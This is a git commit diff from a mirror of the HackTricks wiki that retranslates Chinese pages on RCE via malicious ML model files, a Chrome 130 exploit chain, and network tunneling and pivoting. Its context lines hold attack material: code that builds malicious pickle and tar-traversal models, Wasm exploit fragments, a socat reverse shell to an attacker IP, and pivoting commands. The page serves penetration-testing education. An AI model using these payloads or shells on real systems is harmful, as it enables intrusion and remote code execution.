mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Models-RCE.md', 'src/binary-exploitation/chrome-e
This commit is contained in:
parent
99020a1331
commit
8ba0b60382
@ -15,13 +15,13 @@
|
|||||||
| **TensorFlow/Keras** | **CVE-2021-37678** (不安全的 YAML) <br> **CVE-2024-3660** (Keras Lambda) | 从 YAML 加载模型使用 `yaml.unsafe_load`(代码执行) <br> 使用 **Lambda** 层加载模型运行任意 Python 代码 | |
|
| **TensorFlow/Keras** | **CVE-2021-37678** (不安全的 YAML) <br> **CVE-2024-3660** (Keras Lambda) | 从 YAML 加载模型使用 `yaml.unsafe_load`(代码执行) <br> 使用 **Lambda** 层加载模型运行任意 Python 代码 | |
|
||||||
| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite 解析) | 精心制作的 `.tflite` 模型触发整数溢出 → 堆损坏(潜在 RCE) | |
|
| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite 解析) | 精心制作的 `.tflite` 模型触发整数溢出 → 堆损坏(潜在 RCE) | |
|
||||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | 通过 `joblib.load` 加载模型执行攻击者的 `__reduce__` 负载 | |
|
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | 通过 `joblib.load` 加载模型执行攻击者的 `__reduce__` 负载 | |
|
||||||
| **NumPy** (Python) | **CVE-2019-6446** (不安全的 `np.load`) *有争议* | `numpy.load` 默认允许 pickle 对象数组 – 恶意的 `.npy/.npz` 触发代码执行 | |
|
| **NumPy** (Python) | **CVE-2019-6446** (不安全的 `np.load`) *有争议* | `numpy.load` 默认允许 pickle 对象数组 – 恶意 `.npy/.npz` 触发代码执行 | |
|
||||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (目录遍历) <br> **CVE-2024-5187** (tar 遍历) | ONNX 模型的外部权重路径可以逃逸目录(读取任意文件) <br> 恶意 ONNX 模型 tar 可以覆盖任意文件(导致 RCE) | |
|
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (目录遍历) <br> **CVE-2024-5187** (tar 遍历) | ONNX 模型的外部权重路径可以逃逸目录(读取任意文件) <br> 恶意 ONNX 模型 tar 可以覆盖任意文件(导致 RCE) | |
|
||||||
| ONNX Runtime (设计风险) | *(无 CVE)* ONNX 自定义操作 / 控制流 | 带有自定义操作符的模型需要加载攻击者的本地代码;复杂的模型图滥用逻辑以执行意外计算 | |
|
| ONNX Runtime (设计风险) | *(无 CVE)* ONNX 自定义操作 / 控制流 | 带有自定义操作符的模型需要加载攻击者的本地代码;复杂的模型图滥用逻辑以执行意外计算 | |
|
||||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (路径遍历) | 使用启用 `--model-control` 的模型加载 API 允许相对路径遍历以写入文件(例如,覆盖 `.bashrc` 以实现 RCE) | |
|
| **NVIDIA Triton Server** | **CVE-2023-31036** (路径遍历) | 使用启用 `--model-control` 的模型加载 API 允许相对路径遍历以写入文件(例如,覆盖 `.bashrc` 以实现 RCE) | |
|
||||||
| **GGML (GGUF 格式)** | **CVE-2024-25664 … 25668** (多个堆溢出) | 格式错误的 GGUF 模型文件导致解析器中的堆缓冲区溢出,使得在受害者系统上执行任意代码 | |
|
| **GGML (GGUF 格式)** | **CVE-2024-25664 … 25668** (多个堆溢出) | 格式错误的 GGUF 模型文件导致解析器中的堆缓冲区溢出,使得在受害者系统上执行任意代码 | |
|
||||||
| **Keras (旧格式)** | *(无新 CVE)* 旧版 Keras H5 模型 | 恶意 HDF5 (`.h5`) 模型中的 Lambda 层代码在加载时仍然执行(Keras safe_mode 不涵盖旧格式 – “降级攻击”) | |
|
| **Keras (旧格式)** | *(无新 CVE)* 旧版 Keras H5 模型 | 恶意 HDF5 (`.h5`) 模型中的 Lambda 层代码在加载时仍然执行(Keras 安全模式不覆盖旧格式 – “降级攻击”) | |
|
||||||
| **其他** (一般) | *设计缺陷* – Pickle 序列化 | 许多 ML 工具(例如,基于 pickle 的模型格式,Python `pickle.load`)将在未缓解的情况下执行嵌入模型文件中的任意代码 | |
|
| **其他** (一般) | *设计缺陷* – Pickle 序列化 | 许多 ML 工具(例如,基于 pickle 的模型格式,Python `pickle.load`)将执行嵌入模型文件中的任意代码,除非采取缓解措施 | |
|
||||||
|
|
||||||
此外,还有一些基于 Python pickle 的模型,例如 [PyTorch](https://github.com/pytorch/pytorch/security) 使用的模型,如果不使用 `weights_only=True` 加载,则可能被用来在系统上执行任意代码。因此,任何基于 pickle 的模型可能特别容易受到此类攻击,即使它们未在上表中列出。
|
此外,还有一些基于 Python pickle 的模型,例如 [PyTorch](https://github.com/pytorch/pytorch/security) 使用的模型,如果不使用 `weights_only=True` 加载,则可能被用来在系统上执行任意代码。因此,任何基于 pickle 的模型可能特别容易受到此类攻击,即使它们未在上表中列出。
|
||||||
|
|
||||||
@ -33,13 +33,13 @@
|
|||||||
```python
|
```python
|
||||||
checkpoint = torch.load(path, map_location=torch.device("meta"))
|
checkpoint = torch.load(path, map_location=torch.device("meta"))
|
||||||
```
|
```
|
||||||
当提供的文件是一个 **PyTorch checkpoint (`*.ckpt`)** 时,`torch.load` 执行 **pickle 反序列化**。由于内容直接来自用户控制的 URL,攻击者可以在 checkpoint 中嵌入一个带有自定义 `__reduce__` 方法的恶意对象;该方法在 **反序列化** 期间执行,导致 **远程代码执行 (RCE)** 在 InvokeAI 服务器上。
|
当提供的文件是一个 **PyTorch checkpoint (`*.ckpt`)** 时,`torch.load` 执行 **pickle 反序列化**。由于内容直接来自用户控制的 URL,攻击者可以在检查点中嵌入一个带有自定义 `__reduce__` 方法的恶意对象;该方法在 **反序列化** 期间执行,导致 **远程代码执行 (RCE)** 在 InvokeAI 服务器上。
|
||||||
|
|
||||||
该漏洞被分配为 **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %)。
|
该漏洞被分配为 **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %)。
|
||||||
|
|
||||||
#### 利用过程
|
#### 利用过程
|
||||||
|
|
||||||
1. 创建一个恶意 checkpoint:
|
1. 创建一个恶意检查点:
|
||||||
```python
|
```python
|
||||||
# payload_gen.py
|
# payload_gen.py
|
||||||
import pickle, torch, os
|
import pickle, torch, os
|
||||||
@ -81,7 +81,7 @@ timeout=5,
|
|||||||
|
|
||||||
* 升级到 **InvokeAI ≥ 5.4.3** – 补丁默认将 `scan=True`,并在反序列化之前执行恶意软件扫描。
|
* 升级到 **InvokeAI ≥ 5.4.3** – 补丁默认将 `scan=True`,并在反序列化之前执行恶意软件扫描。
|
||||||
* 在程序中加载检查点时使用 `torch.load(file, weights_only=True)` 或新的 [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) 辅助工具。
|
* 在程序中加载检查点时使用 `torch.load(file, weights_only=True)` 或新的 [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) 辅助工具。
|
||||||
* 强制执行模型源的允许列表/签名,并以最小权限运行服务。
|
* 强制执行模型来源的允许列表/签名,并以最小权限运行服务。
|
||||||
|
|
||||||
> ⚠️ 请记住,**任何** 基于 Python pickle 的格式(包括许多 `.pt`、`.pkl`、`.ckpt`、`.pth` 文件)从不受信任的来源反序列化本质上是不安全的。
|
> ⚠️ 请记住,**任何** 基于 Python pickle 的格式(包括许多 `.pt`、`.pkl`、`.ckpt`、`.pth` 文件)从不受信任的来源反序列化本质上是不安全的。
|
||||||
|
|
||||||
@ -94,7 +94,7 @@ deny all; # block direct Internet access
|
|||||||
allow 10.0.0.0/8; # only internal CI network can call it
|
allow 10.0.0.0/8; # only internal CI network can call it
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
## 示例 – 创建恶意的 PyTorch 模型
|
## 示例 – 创建恶意 PyTorch 模型
|
||||||
|
|
||||||
- 创建模型:
|
- 创建模型:
|
||||||
```python
|
```python
|
||||||
@ -131,11 +131,11 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
|
|||||||
|
|
||||||
# /tmp/pwned.txt is created even if you get an error
|
# /tmp/pwned.txt is created even if you get an error
|
||||||
```
|
```
|
||||||
## Models to Path Traversal
|
## 模型到路径遍历
|
||||||
|
|
||||||
正如在[**这篇博客文章**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties)中所述,不同AI框架使用的大多数模型格式基于归档,通常是`.zip`。因此,可能可以利用这些格式执行路径遍历攻击,从而允许读取加载模型的系统中的任意文件。
|
正如在 [**这篇博客文章**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties) 中所述,不同 AI 框架使用的大多数模型格式基于归档,通常是 `.zip`。因此,可能可以利用这些格式执行路径遍历攻击,从而允许读取加载模型的系统中的任意文件。
|
||||||
|
|
||||||
例如,使用以下代码,您可以创建一个模型,当加载时将在`/tmp`目录中创建一个文件:
|
例如,使用以下代码,您可以创建一个模型,当加载时将在 `/tmp` 目录中创建一个文件:
|
||||||
```python
|
```python
|
||||||
import tarfile
|
import tarfile
|
||||||
|
|
||||||
@ -161,9 +161,9 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
|
|||||||
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
|
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
|
||||||
tf.add(PAYLOAD) # rides the symlink
|
tf.add(PAYLOAD) # rides the symlink
|
||||||
```
|
```
|
||||||
## 参考文献
|
## 参考
|
||||||
|
|
||||||
- [OffSec 博客 – "CVE-2024-12029 – InvokeAI 不受信任数据的反序列化"](https://www.offsec.com/blog/cve-2024-12029/)
|
- [OffSec 博客 – "CVE-2024-12029 – InvokeAI 不可信数据的反序列化"](https://www.offsec.com/blog/cve-2024-12029/)
|
||||||
- [InvokeAI 补丁提交 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
- [InvokeAI 补丁提交 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
||||||
- [Rapid7 Metasploit 模块文档](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
|
- [Rapid7 Metasploit 模块文档](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
|
||||||
- [PyTorch – torch.load 的安全考虑](https://pytorch.org/docs/stable/notes/serialization.html#security)
|
- [PyTorch – torch.load 的安全考虑](https://pytorch.org/docs/stable/notes/serialization.html#security)
|
||||||
|
@ -2,8 +2,8 @@
|
|||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
> 本页面提供了针对 Google Chrome 130 的现代“全链”利用工作流程的高层次但**实用**的概述,基于研究系列**“101 Chrome Exploitation”**(第0部分 — 前言)。
|
> 本页面提供了针对 Google Chrome 130 的现代“全链”利用工作流程的高层次但**实用**的概述,基于研究系列**“101 Chrome Exploitation”**(第0部分 — 前言)。
|
||||||
> 目标是为渗透测试人员和利用开发者提供必要的最低背景,以便重现或调整这些技术以用于他们自己的研究。
|
> 目标是为渗透测试人员和漏洞开发者提供必要的最低背景,以便重现或调整这些技术以用于他们自己的研究。
|
||||||
|
|
||||||
## 1. Chrome 架构回顾
|
## 1. Chrome 架构回顾
|
||||||
理解攻击面需要知道代码执行的位置以及适用的沙箱。
|
理解攻击面需要知道代码执行的位置以及适用的沙箱。
|
||||||
@ -30,12 +30,12 @@
|
|||||||
分层防御深度:
|
分层防御深度:
|
||||||
|
|
||||||
* **V8 沙箱** (Isolate):内存权限受到限制,以防止 JIT 编译的 JS / Wasm 进行任意读/写。
|
* **V8 沙箱** (Isolate):内存权限受到限制,以防止 JIT 编译的 JS / Wasm 进行任意读/写。
|
||||||
* **渲染器 ↔ 浏览器分离** 通过 **Mojo/IPC** 消息传递确保;渲染器 *没有* 原生文件系统/网络访问。
|
* 通过 **Mojo/IPC** 消息传递确保 **渲染器 ↔ 浏览器** 的分离;渲染器没有本地文件系统/网络访问。
|
||||||
* **操作系统沙箱** 进一步限制每个进程(Windows 完整性级别 / `seccomp-bpf` / macOS 沙箱配置文件)。
|
* **操作系统沙箱** 进一步限制每个进程(Windows 完整性级别 / `seccomp-bpf` / macOS 沙箱配置文件)。
|
||||||
|
|
||||||
因此,一个 *远程* 攻击者需要 **三个** 连续的原语:
|
因此,一个 *远程* 攻击者需要 **三个** 连续的原语:
|
||||||
|
|
||||||
1. 在 V8 内部的内存损坏,以获取 **V8 堆内的任意读写**。
|
1. 在 V8 内部的内存损坏,以获得 **V8 堆内的任意读写**。
|
||||||
2. 第二个漏洞允许攻击者 **逃离 V8 沙箱到完整的渲染器内存**。
|
2. 第二个漏洞允许攻击者 **逃离 V8 沙箱到完整的渲染器内存**。
|
||||||
3. 最终的沙箱逃逸(通常是逻辑而非内存损坏)以执行 **在 Chrome OS 沙箱外的代码**。
|
3. 最终的沙箱逃逸(通常是逻辑而非内存损坏)以执行 **在 Chrome OS 沙箱外的代码**。
|
||||||
|
|
||||||
@ -43,11 +43,11 @@
|
|||||||
|
|
||||||
## 2. 阶段 1 – WebAssembly 类型混淆 (CVE-2025-0291)
|
## 2. 阶段 1 – WebAssembly 类型混淆 (CVE-2025-0291)
|
||||||
|
|
||||||
TurboFan 的 **Turboshaft** 优化中的一个缺陷在 *单个基本块循环* 内部错误地分类 **WasmGC 引用类型**。
|
TurboFan 的 **Turboshaft** 优化中的一个缺陷在于,当值在 *单个基本块循环* 内生成和消耗时,错误地分类 **WasmGC 引用类型**。
|
||||||
|
|
||||||
影响:
|
影响:
|
||||||
* 编译器 **跳过类型检查**,将 *引用* (`externref/anyref`) 视为 *int64*。
|
* 编译器 **跳过类型检查**,将 *引用* (`externref/anyref`) 视为 *int64*。
|
||||||
* 精心构造的 Wasm 允许将 JS 对象头与攻击者控制的数据重叠 → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR 原语**。
|
* 精心构造的 Wasm 允许将 JS 对象头与攻击者控制的数据重叠 → <code>addrOf()</code> 和 <code>fakeObj()</code> **AAW / AAR 原语**。
|
||||||
|
|
||||||
最小 PoC(摘录):
|
最小 PoC(摘录):
|
||||||
```WebAssembly
|
```WebAssembly
|
||||||
@ -65,7 +65,7 @@ end
|
|||||||
end)
|
end)
|
||||||
(export "f" (func $f)))
|
(export "f" (func $f)))
|
||||||
```
|
```
|
||||||
触发器优化和从JS喷洒对象:
|
触发优化与从JS喷洒对象:
|
||||||
```js
|
```js
|
||||||
const wasmMod = new WebAssembly.Module(bytes);
|
const wasmMod = new WebAssembly.Module(bytes);
|
||||||
const wasmInst = new WebAssembly.Instance(wasmMod);
|
const wasmInst = new WebAssembly.Instance(wasmMod);
|
||||||
@ -78,19 +78,19 @@ let victim = {m: 13.37};
|
|||||||
let fake = arbitrary_data_backed_typedarray;
|
let fake = arbitrary_data_backed_typedarray;
|
||||||
let addrVict = addrOf(victim);
|
let addrVict = addrOf(victim);
|
||||||
```
|
```
|
||||||
结果:**在 V8 中进行任意读取/写入**。
|
结果:**在 V8 中进行任意读/写**。
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 3. 第二阶段 – 逃离 V8 沙箱 (issue 379140430)
|
## 3. 第二阶段 – 逃离 V8 沙箱 (issue 379140430)
|
||||||
|
|
||||||
当一个 Wasm 函数被提升编译时,会生成一个 **JS ↔ Wasm 包装器**。一个签名不匹配的错误导致包装器在 Wasm 函数在栈上重新优化时,写入受信任的 **`Tuple2`** 对象的末尾之外。
|
当一个 Wasm 函数被提升编译时,会生成一个 **JS ↔ Wasm 包装器**。一个签名不匹配的错误导致包装器在 Wasm 函数在栈上时重新优化时写入受信任的 **`Tuple2`** 对象的末尾。
|
||||||
|
|
||||||
覆盖 `Tuple2` 对象的 2 × 64 位字段可以实现 **在 Renderer 进程内的任意地址进行读取/写入**,有效地绕过 V8 沙箱。
|
覆盖 `Tuple2` 对象的 2 × 64 位字段可以实现 **在 Renderer 进程内的任何地址上进行读/写**,有效地绕过 V8 沙箱。
|
||||||
|
|
||||||
利用中的关键步骤:
|
利用中的关键步骤:
|
||||||
1. 通过交替使用 turbofan/baseline 代码将函数置于 **Tier-Up** 状态。
|
1. 通过交替使用 turbofan/baseline 代码将函数置于 **Tier-Up** 状态。
|
||||||
2. 在栈上保持引用的同时触发提升编译(`Function.prototype.apply`)。
|
2. 在保持栈上引用的同时触发提升编译(`Function.prototype.apply`)。
|
||||||
3. 使用第一阶段 AAR/AAW 查找并破坏相邻的 `Tuple2`。
|
3. 使用第一阶段 AAR/AAW 查找并破坏相邻的 `Tuple2`。
|
||||||
|
|
||||||
包装器识别:
|
包装器识别:
|
||||||
@ -105,9 +105,9 @@ wrapperGen(0x1337n);
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 4. 阶段 3 – 渲染器 → 操作系统沙箱逃逸 (CVE-2024-11114)
|
## 4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)
|
||||||
|
|
||||||
**Mojo** IPC 接口 `blink.mojom.DragService.startDragging()` 可以从渲染器调用,使用 *部分信任* 的参数。通过构造一个指向 **任意文件路径** 的 `DragData` 结构,渲染器说服浏览器执行 *本地* 拖放 **在渲染器沙箱之外**。
|
**Mojo** IPC 接口 `blink.mojom.DragService.startDragging()` 可以从 Renderer 调用,使用 *部分信任* 的参数。通过构造一个指向 **任意文件路径** 的 `DragData` 结构,renderer 说服浏览器在 **renderer sandbox** 之外执行 *本地* 拖放操作。
|
||||||
|
|
||||||
利用这一点,我们可以以编程方式“拖动”一个恶意的 EXE(之前放置在一个可写的世界位置)到桌面,Windows 会在文件被放置后自动执行某些文件类型。
|
利用这一点,我们可以以编程方式“拖动”一个恶意的 EXE(之前放置在一个可写的世界位置)到桌面,Windows 会在文件被放置后自动执行某些文件类型。
|
||||||
|
|
||||||
|
@ -57,7 +57,7 @@ ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port
|
|||||||
```
|
```
|
||||||
### 反向端口转发
|
### 反向端口转发
|
||||||
|
|
||||||
这对于从内部主机通过DMZ获取反向shell到您的主机非常有用:
|
这对于从内部主机通过 DMZ 获取反向 shell 到您的主机非常有用:
|
||||||
```bash
|
```bash
|
||||||
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||||
# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000
|
# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000
|
||||||
@ -88,7 +88,7 @@ iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
|
|||||||
route add -net 10.0.0.0/16 gw 1.1.1.1
|
route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||||
```
|
```
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> **安全 – Terrapin 攻击 (CVE-2023-48795)**
|
> **安全 - Terrapin 攻击 (CVE-2023-48795)**
|
||||||
> 2023年的Terrapin降级攻击可以让中间人篡改早期的SSH握手并将数据注入到**任何转发通道**(`-L`,`-R`,`-D`)。确保客户端和服务器都已打补丁(**OpenSSH ≥ 9.6/LibreSSH 6.7**),或者在依赖SSH隧道之前明确禁用易受攻击的`chacha20-poly1305@openssh.com`和`*-etm@openssh.com`算法,在`sshd_config`/`ssh_config`中进行设置。
|
> 2023年的Terrapin降级攻击可以让中间人篡改早期的SSH握手并将数据注入到**任何转发通道**(`-L`,`-R`,`-D`)。确保客户端和服务器都已打补丁(**OpenSSH ≥ 9.6/LibreSSH 6.7**),或者在依赖SSH隧道之前明确禁用易受攻击的`chacha20-poly1305@openssh.com`和`*-etm@openssh.com`算法,在`sshd_config`/`ssh_config`中进行设置。
|
||||||
|
|
||||||
## SSHUTTLE
|
## SSHUTTLE
|
||||||
@ -163,7 +163,7 @@ rportfwd stop [bind port]
|
|||||||
### rPort2Port 本地
|
### rPort2Port 本地
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> 在这种情况下,**端口是在 beacon 主机上打开的**,而不是在 Team Server 上,**流量被发送到 Cobalt Strike 客户端**(而不是 Team Server),然后从那里发送到指定的 host:port。
|
> 在这种情况下,**端口是在 beacon 主机上打开的**,而不是在 Team Server 上,**流量被发送到 Cobalt Strike 客户端**(而不是 Team Server),然后从那里发送到指定的主机:端口。
|
||||||
```bash
|
```bash
|
||||||
rportfwd_local [bind port] [forward host] [forward port]
|
rportfwd_local [bind port] [forward host] [forward port]
|
||||||
rportfwd_local stop [bind port]
|
rportfwd_local stop [bind port]
|
||||||
@ -250,7 +250,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
|
|||||||
```bash
|
```bash
|
||||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
||||||
```
|
```
|
||||||
通过 **NTLM 代理** 进行枢转
|
通过 **NTLM 代理** 进行枢轴
|
||||||
```bash
|
```bash
|
||||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
||||||
```
|
```
|
||||||
@ -276,7 +276,7 @@ victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
|||||||
```bash
|
```bash
|
||||||
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
||||||
```
|
```
|
||||||
### 通过socks进行Port2Port
|
### Port2Port通过socks
|
||||||
```bash
|
```bash
|
||||||
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
||||||
```
|
```
|
||||||
@ -347,18 +347,18 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||||||
```
|
```
|
||||||
## SocksOverRDP & Proxifier
|
## SocksOverRDP & Proxifier
|
||||||
|
|
||||||
您需要拥有 **系统的 RDP 访问权限**。\
|
您需要拥有**系统的RDP访问权限**。\
|
||||||
下载:
|
下载:
|
||||||
|
|
||||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 此工具使用 Windows 远程桌面服务功能中的 `Dynamic Virtual Channels` (`DVC`)。DVC 负责 **在 RDP 连接上隧道数据包**。
|
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 此工具使用Windows的远程桌面服务功能中的`动态虚拟通道`(`DVC`)。DVC负责**在RDP连接上隧道数据包**。
|
||||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||||
|
|
||||||
在您的客户端计算机上加载 **`SocksOverRDP-Plugin.dll`**,如下所示:
|
在您的客户端计算机上加载**`SocksOverRDP-Plugin.dll`**,如下所示:
|
||||||
```bash
|
```bash
|
||||||
# Load SocksOverRDP.dll using regsvr32.exe
|
# Load SocksOverRDP.dll using regsvr32.exe
|
||||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||||
```
|
```
|
||||||
现在我们可以通过 **RDP** 使用 **`mstsc.exe`** 连接到 **victim**,我们应该收到一个 **prompt**,提示 **SocksOverRDP plugin is enabled**,并且它将 **listen** 在 **127.0.0.1:1080**。
|
现在我们可以通过 **RDP** 使用 **`mstsc.exe`** 连接到 **victim**,我们应该收到一个 **prompt**,提示 **SocksOverRDP 插件已启用**,并且它将 **listen** 在 **127.0.0.1:1080**。
|
||||||
|
|
||||||
通过 **RDP** 连接,并在受害者机器上上传并执行 `SocksOverRDP-Server.exe` 二进制文件:
|
通过 **RDP** 连接,并在受害者机器上上传并执行 `SocksOverRDP-Server.exe` 二进制文件:
|
||||||
```
|
```
|
||||||
@ -372,7 +372,7 @@ netstat -antb | findstr 1080
|
|||||||
|
|
||||||
## 代理 Windows GUI 应用程序
|
## 代理 Windows GUI 应用程序
|
||||||
|
|
||||||
您可以使用 [**Proxifier**](https://www.proxifier.com/) 使 Windows GUI 应用程序通过代理导航。\
|
您可以使用 [**Proxifier**](https://www.proxifier.com/) 使 Windows GUI 应用程序通过代理进行导航。\
|
||||||
在 **Profile -> Proxy Servers** 中添加 SOCKS 服务器的 IP 和端口。\
|
在 **Profile -> Proxy Servers** 中添加 SOCKS 服务器的 IP 和端口。\
|
||||||
在 **Profile -> Proxification Rules** 中添加要代理的程序名称和要代理的 IP 连接。
|
在 **Profile -> Proxification Rules** 中添加要代理的程序名称和要代理的 IP 连接。
|
||||||
|
|
||||||
@ -397,7 +397,7 @@ Proxy 10.0.0.10:8080
|
|||||||
Tunnel 2222:<attackers_machine>:443
|
Tunnel 2222:<attackers_machine>:443
|
||||||
```
|
```
|
||||||
现在,如果你在受害者的**SSH**服务上设置监听端口为443。你可以通过攻击者的2222端口连接到它。\
|
现在,如果你在受害者的**SSH**服务上设置监听端口为443。你可以通过攻击者的2222端口连接到它。\
|
||||||
你也可以使用连接到localhost:443的**meterpreter**,而攻击者在2222端口监听。
|
你也可以使用一个连接到localhost:443的**meterpreter**,而攻击者在2222端口监听。
|
||||||
|
|
||||||
## YARP
|
## YARP
|
||||||
|
|
||||||
@ -547,7 +547,7 @@ addr: file:///tmp/httpbin/
|
|||||||
```
|
```
|
||||||
## Cloudflared (Cloudflare Tunnel)
|
## Cloudflared (Cloudflare Tunnel)
|
||||||
|
|
||||||
Cloudflare的 `cloudflared` 守护进程可以创建出站隧道,暴露 **本地 TCP/UDP 服务**,而无需入站防火墙规则,使用 Cloudflare 的边缘作为会合点。当出站防火墙仅允许 HTTPS 流量而入站连接被阻止时,这非常方便。
|
Cloudflare的 `cloudflared` 守护进程可以创建出站隧道,暴露 **本地 TCP/UDP 服务**,而无需入站防火墙规则,使用Cloudflare的边缘作为会合点。当出站防火墙仅允许HTTPS流量而入站连接被阻止时,这非常方便。
|
||||||
|
|
||||||
### 快速隧道一行命令
|
### 快速隧道一行命令
|
||||||
```bash
|
```bash
|
||||||
@ -574,11 +574,11 @@ url: http://127.0.0.1:8000
|
|||||||
```bash
|
```bash
|
||||||
cloudflared tunnel run mytunnel
|
cloudflared tunnel run mytunnel
|
||||||
```
|
```
|
||||||
因为所有流量都通过主机 **出站 443** 端口离开,Cloudflared 隧道是绕过入口 ACL 或 NAT 边界的简单方法。请注意,二进制文件通常以提升的权限运行 - 尽可能使用容器或 `--user` 标志。
|
因为所有流量都通过 **443 端口出站**,Cloudflared 隧道是绕过入口 ACL 或 NAT 边界的简单方法。请注意,二进制文件通常以提升的权限运行 - 尽可能使用容器或 `--user` 标志。
|
||||||
|
|
||||||
## FRP (快速反向代理)
|
## FRP (快速反向代理)
|
||||||
|
|
||||||
[`frp`](https://github.com/fatedier/frp) 是一个积极维护的 Go 反向代理,支持 **TCP、UDP、HTTP/S、SOCKS 和 P2P NAT 穿透**。从 **v0.53.0 (2024年5月)** 开始,它可以充当 **SSH 隧道网关**,因此目标主机可以仅使用标准的 OpenSSH 客户端启动反向隧道 - 无需额外的二进制文件。
|
[`frp`](https://github.com/fatedier/frp) 是一个积极维护的 Go 反向代理,支持 **TCP、UDP、HTTP/S、SOCKS 和 P2P NAT 穿透**。从 **v0.53.0(2024年5月)** 开始,它可以充当 **SSH 隧道网关**,因此目标主机可以仅使用标准的 OpenSSH 客户端启动反向隧道 - 无需额外的二进制文件。
|
||||||
|
|
||||||
### 经典反向 TCP 隧道
|
### 经典反向 TCP 隧道
|
||||||
```bash
|
```bash
|
||||||
@ -610,9 +610,9 @@ ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_p
|
|||||||
```
|
```
|
||||||
上述命令将受害者的端口 **8080** 发布为 **attacker_ip:9000**,无需部署任何额外工具 – 非常适合利用现有资源进行转发。
|
上述命令将受害者的端口 **8080** 发布为 **attacker_ip:9000**,无需部署任何额外工具 – 非常适合利用现有资源进行转发。
|
||||||
|
|
||||||
## 使用 QEMU 的隐蔽 VM 基于隧道
|
## 使用 QEMU 的隐蔽 VM 基础隧道
|
||||||
|
|
||||||
QEMU 的用户模式网络 (`-netdev user`) 支持一个名为 `hostfwd` 的选项,该选项 **将 *主机* 上的 TCP/UDP 端口绑定并转发到 *客户机* 中**。当客户机运行完整的 SSH 守护进程时,hostfwd 规则为您提供一个一次性 SSH 跳转盒,完全存在于一个短暂的 VM 中 – 非常适合隐藏 C2 流量,因为所有恶意活动和文件都保留在虚拟磁盘中。
|
QEMU 的用户模式网络 (`-netdev user`) 支持一个名为 `hostfwd` 的选项,该选项 **将 *主机* 上的 TCP/UDP 端口绑定并转发到 *客户机* 中**。 当客户机运行完整的 SSH 守护进程时,hostfwd 规则为您提供一个一次性 SSH 跳转盒,完全存在于一个临时 VM 中 – 非常适合隐藏 C2 流量,因为所有恶意活动和文件都保留在虚拟磁盘中。
|
||||||
|
|
||||||
### 快速一行命令
|
### 快速一行命令
|
||||||
```powershell
|
```powershell
|
||||||
